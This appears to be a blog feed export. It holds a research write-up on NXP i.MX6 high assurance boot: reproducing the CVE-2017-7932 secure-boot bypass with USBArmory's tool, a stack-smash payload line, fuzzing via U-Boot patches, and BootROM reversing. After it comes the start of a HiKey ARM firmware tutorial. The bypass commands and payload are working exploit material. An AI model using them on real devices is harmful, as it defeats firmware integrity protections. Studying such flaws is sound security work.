<p>Boundary devices provides an outstanding tutorial for setting up the high assurance boot: <a href="https://boundarydevices.com/high-assurance-boot-hab-dummies/">https://boundarydevices.com/high-assurance-boot-hab-dummies/</a>. There is one download required (the CST tool): <a href="https://www.nxp.com/webapp/sps/download/license.jsp?colCode=IMX_CST_TOOL">https://www.nxp.com/webapp/sps/download/license.jsp?colCode=IMX_CST_TOOL</a></p>

<p>After following this guide I could boot and check the HAB configuration using the U-Boot command <code class="language-plaintext highlighter-rouge">hab_status</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>U-Boot 2017.07-28563-g04d7ed8-dirty (Nov 15 2017 - 19:15:26 -0800)

CPU:   Freescale i.MX6Q rev1.2 at 792 MHz
Reset cause: POR
Board: sabrelite
I2C:   ready
DRAM:  1 GiB
MMC:   FSL_SDHC: 0, FSL_SDHC: 1
SF: Detected sst25vf016b with page size 256 Bytes, erase size 4 KiB, total 2 
[...]

=&gt; hab_status

Secure boot disabled

HAB Configuration: 0xf0, HAB State: 0x66
No HAB Events Found!
</code></pre></div></div>

<p>And if I change 2 bytes in the U-Boot content (U-Boot to MeBoot), then <code class="language-plaintext highlighter-rouge">hab_status</code> should report a failure. In the below example I have not configured the 1-time program eFuse for secured boot enforcement:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MeBoot 2017.07-28563-g04d7ed8-dirty (Nov 15 2017 - 19:15:26 -0800)

CPU:   Freescale i.MX6Q rev1.2 at 792 MHz
Reset cause: POR
Board: sabrelite
I2C:   ready
DRAM:  1 GiB
MMC:   FSL_SDHC: 0, FSL_SDHC: 1
SF: Detected sst25vf016b with page size 256 Bytes, erase size 4 KiB, total 2 
[...]

=&gt; hab_status

Secure boot disabled

HAB Configuration: 0xf0, HAB State: 0x66

--------- HAB Event 1 -----------------
event data:
        0xdb 0x00 0x1c 0x41 0x33 0x18 0xc0 0x00
        0xca 0x00 0x14 0x00 0x02 0xc5 0x1d 0x00
        0x00 0x00 0x16 0x3c 0x17 0x7f 0xf4 0x00
        0x00 0x08 0x5c 0x00

STS = HAB_FAILURE (0x33)
RSN = HAB_INV_SIGNATURE (0x18)
CTX = HAB_CTX_COMMAND (0xC0)
ENG = HAB_ENG_ANY (0x00)

--------- HAB Event 2 -----------------
event data:
        0xdb 0x00 0x14 0x41 0x33 0x0c 0xa0 0x00
        0x00 0x00 0x00 0x00 0x17 0x7f 0xf4 0x00
        0x00 0x00 0x00 0x20

STS = HAB_FAILURE (0x33)
RSN = HAB_INV_ASSERTION (0x0C)
CTX = HAB_CTX_ASSERT (0xA0)
ENG = HAB_ENG_ANY (0x00)
[...]
</code></pre></div></div>

<h2 id="testing-cve-2017-7932-using-usbarmorys-examples">Testing CVE-2017-7932 using USBArmory’s Examples</h2>

<p>The <a href="https://github.com/inversepath/usbarmory">USBArmory</a> project uses i.MX53 SOCs, which are also effected by the HAB bypass vulnerabilities. They have published an excellent exploit generator and guide on their GitHub wiki.</p>

<p>Here are some great resources related to testing CVE-2017-7932:</p>

<ul>
  <li>i.MX53 Secure Boot on the USBArmory: <a href="https://github.com/inversepath/usbarmory/wiki/Secure-boot">https://github.com/inversepath/usbarmory/wiki/Secure-boot</a></li>
  <li>Internal Boot ROM overview: <a href="https://github.com/inversepath/usbarmory/wiki/Internal-Boot-ROM">https://github.com/inversepath/usbarmory/wiki/Internal-Boot-ROM</a></li>
  <li>GPIO overview: <a href="https://github.com/inversepath/usbarmory/wiki/GPIOs">https://github.com/inversepath/usbarmory/wiki/GPIOs</a></li>
  <li>Detailed guide on enabling Secure Boot for the USBArmory: <a href="https://deadmemes.net/2017/04/05/adventures-with-the-usb-armory-pt1/">https://deadmemes.net/2017/04/05/adventures-with-the-usb-armory-pt1/</a></li>
  <li>Discovery, description, and details about the vulnerability from QuarksLab: <a href="https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html">https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html</a></li>
</ul>

<p>It is simple to reproduce the vulnerability for the i.MX6.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/inversepath/usbarmory
<span class="nv">$ </span><span class="nb">cd </span>usbarmory/software/secure_boot

./usbarmory_csftool <span class="nt">--csf_key</span> ../cst-2.3.3/keys/CSF1_1_sha256_4096_65537_v3_usr_key.pem <span class="nt">--csf_crt</span> ../cst-2.3.3/crts/CSF1_1_sha256_4096_65537_v3_usr_crt.pem <span class="nt">-B</span> ../cst-2.3.3/keys/IMG1_1_sha256_4096_65537_v3_usr_key.pem <span class="nt">-b</span> ../cst-2.3.3/crts/IMG1_1_sha256_4096_65537_v3_usr_crt.pem <span class="nt">-I</span> ../cst-2.3.3/crts/SRK_1_2_3_4_table.bin <span class="nt">-x</span> 1 <span class="nt">-i</span> ~/git/u-boot-imx6/u-boot.imx <span class="nt">--hab_poc</span> <span class="nt">-o</span> u-boot-im6-exploit.imx
IVT values:
  entry:                 0x17800000
  dcd:                   0x177ff42c
  boot_data:             0x177ff420
  self:                  0x177ff400
  csf:                   0x17885000
  boot_data.start:       0x177ff000
  boot_data.length:      0x88000
  boot_data.plugin_flag: 0x0
CSF padding size:        0x2000
Modifying certificate <span class="k">for </span>HAB bypass PoC <span class="o">(</span>CVE-2017-7932<span class="o">)</span>

<span class="nv">$ </span><span class="nb">cat</span> ~/git/u-boot-imx6/u-boot.imx ./u-boot-imx6-exploit.imx <span class="o">&gt;</span> u-boot-signed-imx6-exploit.imx
</code></pre></div></div>

<p>The onlu change needed to <code class="language-plaintext highlighter-rouge">usbarmory_csftool</code> is the location to return to (first jump within U-Boot), as the memory map on i.MX6 is slightly different. The iMX6SL is 0x1780:0000, this is the base address configured by U-Boot.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c1"># stack smashing of 37 bytes + PC at 0x17800000 (U-Boot image entry point for iMX6SL)</span>
  <span class="n">payload</span> <span class="o">=</span> <span class="s2">"</span><span class="se">\x00</span><span class="s2">"</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\x00\x00\x00\x00</span><span class="s2">"</span> <span class="o">*</span> <span class="mi">9</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\x00\x00\x80\x17</span><span class="s2">"</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\x00\x00\x00\x00</span><span class="s2">"</span>
  <span class="n">payload_len</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="nf">length</span>
</code></pre></div></div>

<p>The core common flaw here is applying complex parsing to untrusted data. This sparked another curiosity for the HAB image structures. <em>Are there sections of the header that are not included in the verification, aka can we modify bits without effecting the status of the boot?</em> If we could then we could fuzz for additional corruptions. In the worst case if a corruption hung the HAB then we could recover via USB recovery or SPI flashing.</p>

<p>This next section is just fun, the TL;DR is there are other untrusted bytes but none led to corruptions. Also keep in mind this testing is non-exhaustive. In the case of the original vulnerability, we only need to find content that is read and parsed without verification, not content that is malleable and still results in a complete secure boot success.</p>

<p>To fuzz the image header I wanted a flow similar to:</p>

<ul>
  <li>CPU reset</li>
  <li>Write the details of <code class="language-plaintext highlighter-rouge">hab_status</code> to SRAM</li>
  <li>Flash the SPI with the next iteration</li>
  <li>Boot Linux and dump the HAB status</li>
  <li>Repeat</li>
</ul>

<p>These details will only make sense with knowledge of how the i.MX U-Boot update process works, essentially through complicated U-Boot environment scripts. To achieve my flow I will write the following scripts:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@trusty-dev:~# fw_printenv bootcmd
<span class="nv">bootcmd</span><span class="o">=</span>hab_store<span class="p">;</span> <span class="nb">env </span>save<span class="p">;</span> run distro_bootcmd
root@trusty-dev:~# fw_printenv boot_scripts
<span class="nv">boot_scripts</span><span class="o">=</span>upgrade.scr 6x_bootscript
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">6x_bootscript</code> will be modified to reset automatically.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/board/boundary/nitrogen6x/6x_upgrade.txt b/board/boundary/nitrogen6x/6x_upgrade.txt
index 86520e8..ad0a130 100644
</span><span class="gd">--- a/board/boundary/nitrogen6x/6x_upgrade.txt
</span><span class="gi">+++ b/board/boundary/nitrogen6x/6x_upgrade.txt
</span><span class="p">@@ -149,6 +149,7 @@</span> if itest.s "x" != "x${next}" ; then
        fi
 fi
 
<span class="gd">-while echo "---- U-Boot upgraded. reset" ; do
- sleep 120
-done
</span><span class="gi">+# while echo "---- U-Boot upgraded. reset" ; do
+#      sleep 120
+# done
+
</span></code></pre></div></div>

<p>Rebuild the bootscript using <code class="language-plaintext highlighter-rouge">mkimage</code>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./tools/mkimage <span class="nt">-A</span> arm <span class="nt">-O</span> linux <span class="nt">-T</span> script <span class="nt">-C</span> none <span class="nt">-a</span> 0 <span class="nt">-e</span> 0 <span class="nt">-n</span> <span class="s2">"boot script"</span> <span class="nt">-d</span> ./board/boundary/nitrogen6x/6x_upgrade.txt 6x_upgrade
Image Name:   boot script
Created:      Sat Nov 18 12:35:37 2017
Image Type:   ARM Linux Script <span class="o">(</span>uncompressed<span class="o">)</span>
Data Size:    3576 Bytes <span class="o">=</span> 3.49 KiB <span class="o">=</span> 0.00 MiB
Load Address: 00000000
Entry Point:  00000000
Contents:
   Image 0: 3568 Bytes <span class="o">=</span> 3.48 KiB <span class="o">=</span> 0.00 MiB
</code></pre></div></div>

<p>The small HAB library in U-Boot will contain a new command called <code class="language-plaintext highlighter-rouge">hab_store</code>.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/arch/arm/imx-common/hab.c b/arch/arm/imx-common/hab.c
index 523d0e3..2c78573 100644
</span><span class="gd">--- a/arch/arm/imx-common/hab.c
</span><span class="gi">+++ b/arch/arm/imx-common/hab.c
</span><span class="p">@@ -303,6 +303,49 @@</span> void display_event(uint8_t *event_data, size_t bytes)
        process_event_record(event_data, bytes);
 }
 
<span class="gi">+int write_hab_status(void)
+{
+       uint32_t index = 0; /* Loop index */
+       uint8_t event_data[128]; /* Event data buffer */
+       size_t bytes = sizeof(event_data); /* Event size in bytes */
+       enum hab_config config = 0;
+       enum hab_state state = 0;
+       hab_rvt_report_event_t *hab_rvt_report_event;
+       hab_rvt_report_status_t *hab_rvt_report_status;
+       hab_rvt_report_event = hab_rvt_report_event_p;
+       hab_rvt_report_status = hab_rvt_report_status_p;
+       char varname[12];
+       struct record *rec;
+
+       /* Check HAB status */
+       int status = hab_rvt_report_status(&amp;config, &amp;state);
+       if (status != HAB_SUCCESS) {
+               /* Display HAB Error events */
+               while (hab_rvt_report_event(HAB_FAILURE, index, event_data,
+                                       &amp;bytes) == HAB_SUCCESS) {
+
+                       rec = (struct record *)event_data;
+                       sprintf(varname, "hab_event%d", index + 1);
+                       setenv(varname, rsn_str[get_idx(hab_reasons,
+                               rec-&gt;contents[1])]);
+
+                       bytes = sizeof(event_data);
+                       index++;
+               }
+       }
+
+       setenv("hab_config", simple_itoa((int)config));
+       setenv("hab_state", simple_itoa((int)state));
+       setenv("hab_events", simple_itoa(index));
+
+       if (is_hab_enabled())
+               setenv("hab_sb", "1");
+       else
+               setenv("hab_sb", "0");
+
+       return 0;
+}
+
</span> int get_hab_status(void)
 {
        uint32_t index = 0; /* Loop index */
<span class="p">@@ -360,6 +403,18 @@</span> int do_hab_status(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
        return 0;
 }
 
<span class="gi">+int do_hab_store(cmd_tbl_t *cmdtp, int flag, int argc, char * const argv[])
+{
+       if ((argc != 1)) {
+               cmd_usage(cmdtp);
+               return 1;
+       }
+
+       write_hab_status();
+
+       return 0;
+}
+
</span> static int do_authenticate_image(cmd_tbl_t *cmdtp, int flag, int argc,
                                char * const argv[])
 {
<span class="p">@@ -384,6 +439,12 @@</span> U_BOOT_CMD(
          );
 
 U_BOOT_CMD(
<span class="gi">+               hab_store, CONFIG_SYS_MAXARGS, 1, do_hab_store,
+               "store HAB status to env",
+               ""
+         );
+
+U_BOOT_CMD(
</span>                hab_auth_img, 3, 0, do_authenticate_image,
                "authenticate image via HAB",
                "addr ivt_offset\n"
</code></pre></div></div>

<p>Now, each time we upgrade U-Boot, our default boot will attempt to upgrade. We can also expect to have the HAB details available in Linux.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>fw_printenv | <span class="nb">grep </span>hab_
<span class="nv">bootcmd</span><span class="o">=</span>hab_store<span class="p">;</span> <span class="nb">env </span>save<span class="p">;</span> run distro_bootcmd
<span class="nv">hab_config</span><span class="o">=</span>240
<span class="nv">hab_events</span><span class="o">=</span>0
<span class="nv">hab_sb</span><span class="o">=</span>0
<span class="nv">hab_state</span><span class="o">=</span>102
</code></pre></div></div>

<p>Now we want to corrupt a byte in the CSF image header and expect <code class="language-plaintext highlighter-rouge">hab_events == 0</code>. The size of out U-Boot region: 547840 (0x85c00) byes. Each boot and flash takes 39-40 seconds to complete a cycle. We can fuzz 2160 bytes in a day.</p>

<p>The resulting output of bytes that have no effect (note these are mostly region type bytes in the ASN.1 header:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] The previous offset had no effect: 547913
[*] The previous offset had no effect: 547916
[*] The previous offset had no effect: 547921
[*] The previous offset had no effect: 547922
[*] The previous offset had no effect: 547923
[*] The previous offset had no effect: 547924
</code></pre></div></div>

<h2 id="reversing-the-hab-to-locate-the-vulnerable-asn1-parsing">Reversing the HAB to locate the vulnerable ASN.1 parsing</h2>

<p>The BootROM for the i.MX53 (USBArmory) and my i.MX6 Sabre Lite are memory mapped. The reference manual for each includes the range. The USBArmory wiki and project includes a <a href="https://github.com/inversepath/usbarmory/wiki/Internal-Boot-ROM">BootROM dump utility</a> for convenience. This can be used to dump the i.MX6 BootROM too.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-o</span> imx53_bootrom-dump imx53_bootrom-dump.c
<span class="nv">$ </span><span class="nb">sudo</span> ./imx53_bootrom-dump 0 16        <span class="o">&gt;</span> imx53-bootrom-0-16k.bin
<span class="nv">$ </span><span class="nb">sudo</span> ./imx53_bootrom-dump 0x404000 48 <span class="o">&gt;</span> imx53-bootrom-1-48k.bin
<span class="nv">$ </span>shasum <span class="nt">-a</span> 256 <span class="k">*</span>
bee79626931b045024a886e9f0fc298381a301e717894e08c33ea63cb99036c7  imx53-bootrom-0-16k.bin
22133edf0f93482a68e77727eab66f0545dccd7807d70bd9db0faf939674a4fb  imx53-bootrom-1-48k.bin
</code></pre></div></div>

<p>And on the i.MX6:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> ./imx53_bootrom-dump 0 96 <span class="o">&gt;</span> imx6-bootrom-0-96k.bin
<span class="nv">$ </span>shasum <span class="nt">-a</span> 256 <span class="k">*</span>
e8b623ec6cde4c4cc8c655e1ca0ed700bd41c50a9b1bbeeae6a2748d1746fdb4  imx6-bootrom-0-96k.bin
</code></pre></div></div>

<p><img src="/assets/images/BootROM-memory.png" alt="Memory map from https://www.nxp.com/docs/en/reference-manual/IMX6SDLRM.pdf" /></p>

<p>Memory map from https://www.nxp.com/docs/en/reference-manual/IMX6SDLRM.pdf</p>

<p>Following the details in the <a href="https://blog.quarkslab.com/vulnerabilities-in-high-assurance-boot-of-nxp-imx-microprocessors.html">QuarksLab post</a> we can find the x509 extension parsing code at offset <code class="language-plaintext highlighter-rouge">0x0000e27</code> on the i.MX6 and at <code class="language-plaintext highlighter-rouge">0x00003738</code> on the i.MX53.</p>

<p>The function <code class="language-plaintext highlighter-rouge">asn1_extract_bit_string</code> is given the bitstring content to parse, the size of the bitstring as reported by the ASN.1 encoding, and an address on the stack to write the decoded output.</p>

<p><img src="/assets/images/iMX6-x509_parse_next_extension.png" alt="The x509_parse_next_extension code that calls asn1_extract_bit_string then checks the size." /></p>

<p>The x509_parse_next_extension code that calls asn1_extract_bit_string then checks the size.</p>

<ul>
  <li>The imputs to <code class="language-plaintext highlighter-rouge">asn1_extract_bit_string</code> are: TAG, buffer_start, buffer_end, buffer_out.</li>
  <li>The location of <code class="language-plaintext highlighter-rouge">buffer_out</code> is a location on the stack.</li>
  <li>The size of the bitstring is not checked before <code class="language-plaintext highlighter-rouge">0x0000e2d0</code></li>
  <li>The size is checked after the stack is written at <code class="language-plaintext highlighter-rouge">0x0000e2d8</code></li>
  <li>A return at this point (given our POC) will jump to U-Boot.</li>
</ul>

<h2 id="summary">Summary</h2>

<p>The i.MX series SoCs are cool to play with. The HAB design includes quite a few features including various ways to accomplish the same signature verification or symmetric decryption (different internal libraries). I am not sure the source/history for needing various implementations, but that complexity is worrisome.</p>

<p>If we assume the HAB secured boot design is not vulnerable, there are a few remaining concerns. Parsing ASN.1 or requiring x509 certificates is not ideal. The verification process should require only public key content, there are much simpler and static ways to define the attributes of a RSA key. The flexibility of x509 and extensions could be represented in the image header. For example if a key is intended to only sign various components, represent that choice in the existing HAB image header that defines the key attributes.</p>

<p>There have been 20+ patches to U-Boot in the last several months focused on improving the U-Boot HAB libraries and bringing the verification process beyond U-Boot and SPI content to the rootfs and Kernel content. This exploration did not touch on any U-Boot libraries for extending SOC verified boot features (but this is a fun topic for the future).</p>

<p>If you are excited to use an i.MX6 Sabre Lite device and would like a fixed HAB be on the lookout for devices with silicon revision 1.4 or greater.</p>

<p>Unconfirmed list of patched devices:</p>

<ul>
  <li>iMX6ULL revision 1.1 (B)</li>
  <li>iMX6QP revision 1.1 (B)</li>
  <li>iMX6SDL revision 1.4 (D)</li>
</ul>]]></content><author><name></name></author><category term="firmware" /><category term="fuzzing" /><category term="secure-boot" /><summary type="html"><![CDATA[This document is a linear review of my notes taken while exploring the Sabre Lite single-board-computer. It is a mildly expensive ($200 from Boundary Devices) SBC but it has a well documented secure boot implementation rooted in silicon ROM. It is a very good example of a vendor proprietary firmware verification mechanism. The goal of this article is purely an overview of notes, nothing here is novel or groundbreaking and it is not intended to be a tutorial.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://theopolis.github.io/assets/images/image1.jpeg" /><media:content medium="image" url="https://theopolis.github.io/assets/images/image1.jpeg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hands on Introduction to ARM Firmware using the 96Boards HiKey</title><link href="https://theopolis.github.io/blog/2016/11/25/hands-on-introduction-to-arm-firmware-using-the-hikey" rel="alternate" type="text/html" title="Hands on Introduction to ARM Firmware using the 96Boards HiKey" /><published>2016-11-25T00:00:00+00:00</published><updated>2016-11-25T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2016/11/25/hands-on-introduction-to-arm-firmware-using-the-hikey</id><content type="html" xml:base="https://theopolis.github.io/blog/2016/11/25/hands-on-introduction-to-arm-firmware-using-the-hikey"><![CDATA[<p>This is a walkthrough for flashing custom ARM Trusted Firmware, OP-TEE, and the ARM UEFI Platform code on the <a href="http://www.96boards.org/product/hikey/">Hikey board</a>. Custom means code we’ve built it on our development machine, we’re not making any changes to these reference implementations just yet.</p>

<!--more-->

<h2 id="hikey-hisilicon-kirin-620">HiKey HiSilicon Kirin 620</h2>

<p>This <strong>ARM Cortex-A53</strong>, 8-core, 2GB DDR3, board is amazing! I’m an entry-level ARM security enthusiast and this board feels like the perfect starting place for TrustZone and a secure/verified boot research. When the HiKey was first released I waited 3 months for my order to arrive. Last month, I waited <strong>only two days</strong> to ship from HK to California, way to go <a href="https://www.seeedstudio.com/HiKey-Board-p-2599.html">Seeed</a>!</p>

<p>Hikey supports the ARM Trusted Firmware and OP-TEE reference specifications so we can <em>clone</em> from Github, compile, and flash rather effortlessly. We can write the secure ‘ROM’, secure world operating system, and the non-trusted firmware executing in the normal world.</p>

<p>To get started I reviewed “<a href="http://www.slideshare.net/linaroorg/arm-trusted-firmareforarmv8alcu13">An Introduction to ARM Trusted Firmware for ARMv8-A</a>” and a “<a href="http://www.slideshare.net/linaroorg/trusted-firmware-deepdivev10">Deep Dive into ARM Trusted Firmware</a>” from LCU13, (<a href="https://www.youtube.com/watch?v=q32BEMMxmfw">YouTube</a>), and pretended to comprehend the <a href="https://github.com/ARM-software/arm-trusted-firmware/blob/master/docs/firmware-design.md">ARMv8-A Firmware Design</a> guide. ;) My goal was to get hands-on experience with ARM TrustZone, secure world code, and the general firmware execution block diagrams.</p>

<p><img src="/assets/images/hikey-box.jpeg" alt="Completed HIkey with 96boards grooves expansion, uart0, jtag to busblaster, and 3d-printed housing." /></p>

<p>Completed HIkey with 96boards grooves expansion, uart0, jtag to busblaster, and 3d-printed housing.</p>

<p>HiKey reference materials:</p>

<ul>
  <li><a href="assets/DDI0500D_cortex_a53_r0p2_trm.pdf">ARM Cortex-A53 Technical Reference Specification</a></li>
  <li><a href="assets/Hi6220V100_Multi-Mode_Application_Processor_Function_Description.pdf">HiSilicon Kirin 622V100 Multi-Mode Application Processor</a></li>
  <li><a href="assets/HiKey_User_Guide_CircuitCo.pdf">HiKey User Guide</a></li>
  <li><a href="https://github.com/96boards/documentation/wiki/HiKeyUEFI">96Boards GitHub HiKey Wiki</a></li>
</ul>

<h2 id="getting-started">Getting Started</h2>

<p>This introduction is written as a tutorial, often in the simple future tense, please enjoy!</p>

<p>The first thing we’ll do is inspect the default state of the HiKey, using the 96Boards sensor expansion, we can attach to the <code class="language-plaintext highlighter-rouge">UART3</code> breakout from the low speed (LS) expansion header.</p>

<p>A note about UARTs, In the documentation <a href="assets/Hi6220V100_Multi-Mode_Application_Processor_Function_Description.pdf">here</a>, <code class="language-plaintext highlighter-rouge">UART0</code> is as it appears without header in the HiKey user guide, This is NOT attached to the low-speed expansion connector. We wont have to pay too much attention as the HiKey’s <code class="language-plaintext highlighter-rouge">UART3</code> will be the default. Some more-generic 96Boards documentation will refer to the “default” UART as <code class="language-plaintext highlighter-rouge">UART0</code>, this is <code class="language-plaintext highlighter-rouge">UART3</code> on the HiKey, <strong>TL;DR</strong>, we don’t have to worry about modifying build/firmware variables to get debug output over serial.</p>

<p><img src="/assets/images/hikey-uart0.jpeg" alt="hikey-uart0" /></p>

<p>Attaching the HiKey’s <code class="language-plaintext highlighter-rouge">UART3</code> to my desktop:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>dmesg
<span class="o">[</span>...]
usb 1-2: new full-speed USB device number 126 using xhci_hcd
usb 1-2: New USB device found, <span class="nv">idVendor</span><span class="o">=</span>0403, <span class="nv">idProduct</span><span class="o">=</span>6015
usb 1-2: New USB device strings: <span class="nv">Mfr</span><span class="o">=</span>1, <span class="nv">Product</span><span class="o">=</span>2, <span class="nv">SerialNumber</span><span class="o">=</span>3
usb 1-2: Product: FT230X 96Boards Console
usb 1-2: Manufacturer: FTDI
usb 1-2: SerialNumber: DA71MVG
ftdi_sio 1-2:1.0: FTDI USB Serial Device converter detected
usb 1-2: Detected FT-X
usb 1-2: FTDI USB Serial Device converter now attached to ttyUSB0
</code></pre></div></div>

<p>And then using: <code class="language-plaintext highlighter-rouge">$ sudo screen /dev/ttyUSB0 115200</code> we’ll quickly see:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: v1.1(release):e9b4909
NOTICE:  BL1: Built : 10:50:16, Nov 28 2015
NOTICE:  syspll frequency:1190494208Hz
NOTICE:  succeed to init lpddr3 rank0 dram phy
INFO:    lpddr3_freq_init, set ddrc 533mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    lpddr3_freq_init, set ddrc 800mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    Samsung DDR
NOTICE:  BL1: Booting BL2
NOTICE:  acpu_dvfs_set_freq: set acpu freq success!NOTICE:  BL2: v1.1(release):e9b4909
NOTICE:  BL2: Built : 10:50:16, Nov 28 2015
NOTICE:  BL1: Booting BL3-1
NOTICE:  BL3-1: v1.1(release):e9b4909
NOTICE:  BL3-1: Built : 10:50:16, Nov 28 2015
UEFI firmware (version PreAlpha built at 10:50:05 on Nov 28 2015)
</code></pre></div></div>

<p>Followed by several _clear_s, then GRUB, with the quick-default option to boot a Linux Kernel from the eMMC flash.</p>

<p>At the <code class="language-plaintext highlighter-rouge">root&gt;</code> prompt, we can inspect the first bits of <code class="language-plaintext highlighter-rouge">dmesg</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span>dmesg
<span class="o">[</span>    0.000000] Linux version 3.18.0-linaro-hikey <span class="o">(</span>buildslave@x86-64-07<span class="o">)</span> <span class="o">(</span>gcc version 5.1.1 20150608 <span class="o">(</span>Linaro GCC 5.1-2015.08<span class="o">)</span> <span class="o">)</span> <span class="c">#1 SMP PREEMPT Mon Nov 30 00:11:03 UTC 2015</span>
<span class="o">[</span>    0.000000] CPU: AArch64 Processor <span class="o">[</span>410fd033] revision 3
<span class="o">[</span>    0.000000] Detected VIPT I-cache on CPU0
<span class="o">[</span>    0.000000] efi: Getting EFI parameters from FDT:
<span class="o">[</span>    0.000000] EFI v2.40 by Linaro HiKey EFI Nov 28 2015 10:50:07
<span class="o">[</span>    0.000000] efi: 
<span class="o">[</span>    0.000000] cma: Reserved 128 MiB at 0x0000000072c00000
<span class="o">[</span>    0.000000] On node 0 totalpages: 515598
<span class="o">[</span>    0.000000]   DMA zone: 7168 pages used <span class="k">for </span>memmap
<span class="o">[</span>    0.000000]   DMA zone: 0 pages reserved
<span class="o">[</span>    0.000000]   DMA zone: 515598 pages, LIFO batch:31
<span class="o">[</span>    0.000000] psci: probing <span class="k">for </span>conduit method from DT.
<span class="o">[</span>    0.000000] psci: PSCIv1.0 detected <span class="k">in </span>firmware.
<span class="o">[</span>    0.000000] psci: Using standard PSCI v0.2 <span class="k">function </span>IDs
<span class="o">[</span>    0.000000] PERCPU: Embedded 14 pages/cpu @ffffffc07f68f000 s19328 r8192 d29824 u57344
<span class="o">[</span>    0.000000] pcpu-alloc: s19328 r8192 d29824 u57344 <span class="nv">alloc</span><span class="o">=</span>14<span class="k">*</span>4096
<span class="o">[</span>    0.000000] pcpu-alloc: <span class="o">[</span>0] 0 <span class="o">[</span>0] 1 <span class="o">[</span>0] 2 <span class="o">[</span>0] 3 <span class="o">[</span>0] 4 <span class="o">[</span>0] 5 <span class="o">[</span>0] 6 <span class="o">[</span>0] 7 
<span class="o">[</span>    0.000000] Built 1 zonelists <span class="k">in </span>Zone order, mobility grouping on.  Total pages: 508430
<span class="o">[</span>    0.000000] Kernel <span class="nb">command </span>line: <span class="nv">BOOT_IMAGE</span><span class="o">=</span>/boot/Image <span class="nv">console</span><span class="o">=</span>tty0 <span class="nv">console</span><span class="o">=</span>ttyAMA3,115200 <span class="nv">root</span><span class="o">=</span>/dev/disk/by-partlabel/system rootwait rw quiet <span class="nv">efi</span><span class="o">=</span>noruntime
<span class="o">[</span>...]
</code></pre></div></div>

<p>Then inspect the mounted partitions:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span>mount | <span class="nb">grep </span>mmc
/dev/mmcblk0p9 on / <span class="nb">type </span>ext4 <span class="o">(</span>rw,relatime,data<span class="o">=</span>ordered<span class="o">)</span>
/dev/mmcblk0p6 on /boot/efi <span class="nb">type </span>vfat <span class="o">(</span>rw,relatime,fmask<span class="o">=</span>0022,dmask<span class="o">=</span>0022,codepage<span class="o">=</span>437,iocharset<span class="o">=</span>iso8859-1,shortname<span class="o">=</span>mixed,errors<span class="o">=</span>remount-ro<span class="o">)</span>
</code></pre></div></div>

<p>And the eMMC partition table:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">sudo </span>partx <span class="nt">-s</span> /dev/mmcblk0
NR   START      END  SECTORS SIZE NAME       UUID
 1    2048     4095     2048   1M vrl        496847ab-56a1-4cd5-a1ad-47f4acf055c9
 2    4096     6143     2048   1M vrl_backup 61a36fc1-8efb-4899-84d8-b61642efa723
 3    6144     8191     2048   1M mcuimage   65007411-962d-4781-9b2c-51dd7df22cc3
 4    8192    24575    16384   8M fastboot   496847ab-56a1-4cd5-a1ad-47f4acf055c9
 5   24576    28671     4096   2M nvme       00354bcd-bbcb-4cb3-b5ae-cdefcb5dac43
 6   28672   159743   131072  64M boot       5c0f213c-17e1-4149-88c8-8b50fb4ec70e
 7  159744   684031   524288 256M reserved   bed8ebdc-298e-4a7a-b1f1-2500d98453b7
 8  684032  1208319   524288 256M cache      a092c620-d178-4ca7-b540-c4e26bd6d2e2
 9 1208320 15269854 14061535 6.7G system     fc56e345-2e8e-49ae-b2f8-5b9d263fe377
</code></pre></div></div>

<p>The sector size is <code class="language-plaintext highlighter-rouge">512</code>, and there’s a <code class="language-plaintext highlighter-rouge">1M</code> partition table starting at <code class="language-plaintext highlighter-rouge">0x0</code> not shown in the output. I prefer to backup the partitions I intend to overwrite while firmware testing, in this case the first 6 and the partition table.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>hikey<span class="o">)</span><span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-la</span> p<span class="k">*</span>
